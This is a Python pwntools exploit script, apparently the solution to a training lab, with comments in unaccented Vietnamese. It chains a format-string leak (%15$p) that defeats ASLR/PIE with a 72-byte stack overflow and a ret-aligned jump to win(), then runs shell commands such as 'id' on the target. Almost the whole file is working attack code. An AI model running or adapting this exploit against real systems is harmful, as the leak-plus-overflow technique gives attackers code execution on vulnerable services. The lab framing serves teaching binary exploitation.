#!/usr/bin/env python3
# Lab 5.3: ASLR/PIE leak.
# Buoc 1: leak mot con tro .text qua lo format string. Format offset 15 in ra
#         saved return address cua vuln = base_image + 0x1244 (dia chi lenh ngay
#         sau `call vuln` trong main; xac dinh bang gdb/disas, la hang so).
#         => base_image = leak - 0x1244.
# Buoc 2: overflow (read lan hai). buf = rbp-0x40, khong canary => offset toi
#         saved RIP = 0x40 + 8 = 72 (do bang cyclic). Nhay toi win() = base + off(win).
#         win() goi system nen chen 1 gadget `ret` can stack 16 byte.
from pwn import *

context.binary = elf = ELF('./lab', checksec=False)
context.log_level = 'info'

def conn():
    return remote('host', 1337) if args.REMOTE else process('./lab')

io = conn()

# --- Buoc 1: leak con tro .text, tinh base image ---
# Boc leak trong dau :: de parse chac chan, khong dinh prompt/newline lan can.
io.sendafter(b'leak> ', b'::%15$p::')
io.recvuntil(b'::')
leak = int(io.recvuntil(b'::', drop=True), 16)
elf.address = leak - 0x1244                  # base = leak - offset(return-into-main)
log.success(f'leak        = {hex(leak)}')
log.success(f'image base  = {hex(elf.address)}')
log.info(f'win         = {hex(elf.sym["win"])}')
assert elf.address & 0xfff == 0, 'base phai can trang, neu khac la tru sai offset'

# --- Buoc 2: overflow -> win() ---
rop = ROP(elf)
ret = rop.find_gadget(['ret'])[0]            # can stack 16 byte truoc system

offset = 72                                   # do bang cyclic: buf=rbp-0x40, +8 saved RBP
payload  = b'A' * offset
payload += p64(ret)                           # can alignment
payload += p64(elf.sym['win'])                # saved RIP -> win() (da cong base)
io.sendafter(b'pwn> ', payload)

# cho banner win() roi moi gui lenh (tranh race send som)
io.sendlineafter(b'Shell:\n', b'echo ===SHELL_OK===; id; exit')
print(io.recvall(timeout=3).decode(errors='replace'))